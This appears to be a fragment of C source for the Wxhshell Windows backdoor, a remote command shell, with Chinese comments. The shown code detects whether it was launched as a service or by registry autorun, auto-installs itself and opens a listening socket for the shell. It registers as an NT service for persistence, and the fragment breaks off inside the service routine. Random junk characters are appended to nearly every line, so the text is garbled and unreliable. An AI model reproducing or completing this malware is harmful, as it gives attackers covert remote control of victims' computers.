ULONG UniqueProcessId; uMZ<i}
ULONG InheritedFromUniqueProcessId; `Cy;/95m
} PROCESS_BASIC_INFORMATION; [s%uE+``S
g( S4i%\
PROCNTQSIP NtQueryInformationProcess; 1p SEr6
ZLf(m35
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >{rD3X"d
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r-[YJzf@P
9):^[Wkx
HANDLE hProcess; Z%SDN"+'g
PROCESS_BASIC_INFORMATION pbi; ?fpI,WFu
O31.\ZR2
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bZ+Hu~
if(NULL == hInst ) return 0; =}e{U&CX
ws,VO*4
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ? fM_Y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .g=D70
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \@^`
G
^~bAixH^k
if (!NtQueryInformationProcess) return 0; <){J|O
<c
[X^8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KJV],6d
if(!hProcess) return 0; FuFICF7+C
Rp}Sm,w(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @ "CP@^
_Pl5?5eZj
CloseHandle(hProcess); M=EV^Tw-=
Of<Vr.m{R
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A2`Xh#o
if(hProcess==NULL) return 0; "`[4(j
=}F$r5]
HMODULE hMod; qx?0]!x
char procName[255]; e\*N Lj_(
unsigned long cbNeeded; WOYN%
0#
yoBR'$-=
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8ROZ]Xh,x
1{h,LR
CloseHandle(hProcess); }. V!|R,
U-q:Y-h
if(strstr(procName,"services")) return 1; // 以服务启动 5j5}c`:
Y}r UVn
return 0; // 注册表启动 8J2UUVA`1
} /86PqKU(P
h]o{>
|d9
// 主模块 >T^BD'z@'
int StartWxhshell(LPSTR lpCmdLine) iR'Pc3
{ j[fY.>yt&
SOCKET wsl; dp'k$el
BOOL val=TRUE; xK_0@6
int port=0; {9nH#yv
struct sockaddr_in door; QnIF{TS=
(.g?|c
if(wscfg.ws_autoins) Install(); OX{2@+f#
^4a|gc
port=atoi(lpCmdLine); h)X"<a++N
X`k#/~+0
if(port<=0) port=wscfg.ws_port; (:7Z-V2(
3lefB
A7
WSADATA data; vUJQ<D
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [-3x *?Ju
}#` -mRaU
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; g+KuK`\N%
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XILreATK@
door.sin_family = AF_INET; p8E6_%Rw
door.sin_addr.s_addr = inet_addr("127.0.0.1"); '77Gg
door.sin_port = htons(port); TK Ec^
l3YS_WBSn
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [4\n(/
closesocket(wsl); GbBz;ZV%z,
return 1; c7 O$< F
} 5
r&n
a,?u
2
if(listen(wsl,2) == INVALID_SOCKET) { JZoH -
closesocket(wsl); $HFimU,V=0
return 1; 0JV|wd8j
} ?&@a{-
Wxhshell(wsl); '2S?4Z
WSACleanup(); p</V_BIW
;PWx#v+vwF
return 0; 1&utf0TX6q
.J2tm2]"EZ
} lXu6=r
<USr$
// 以NT服务方式启动 z_t%n<OvK
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <io;d$=}
{ e]3b0`E
DWORD status = 0; c+G%o8
DWORD specificError = 0xfffffff; |SwW*C
%xP'*EaM?
serviceStatus.dwServiceType = SERVICE_WIN32; H>|*D~RdT
serviceStatus.dwCurrentState = SERVICE_START_PENDING; R9^RG-x
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `:fh$V5J>
serviceStatus.dwWin32ExitCode = 0; N=TDywRI
serviceStatus.dwServiceSpecificExitCode = 0; @-aMj
serviceStatus.dwCheckPoint = 0; QfI@=Kbg%#
serviceStatus.dwWaitHint = 0; HD8*>p.
Rj])c^ZA'*
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !mu1e=bY>
if (hServiceStatusHandle==0) return; U#kdcc|
^eCMATE
status = GetLastError(); ?0'db
if (status!=NO_ERROR) )L$)qfQ~x
{ 7;Vq r$9)
serviceStatus.dwCurrentState = SERVICE_STOPPED; 80Z'1'u0
serviceStatus.dwCheckPoint = 0; rLI);!^-
serviceStatus.dwWaitHint = 0; }+GIrEDId
serviceStatus.dwWin32ExitCode = status; n]v,cfn/=<
serviceStatus.dwServiceSpecificExitCode = specificError; *ZV=4[#bT
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +o}mV.&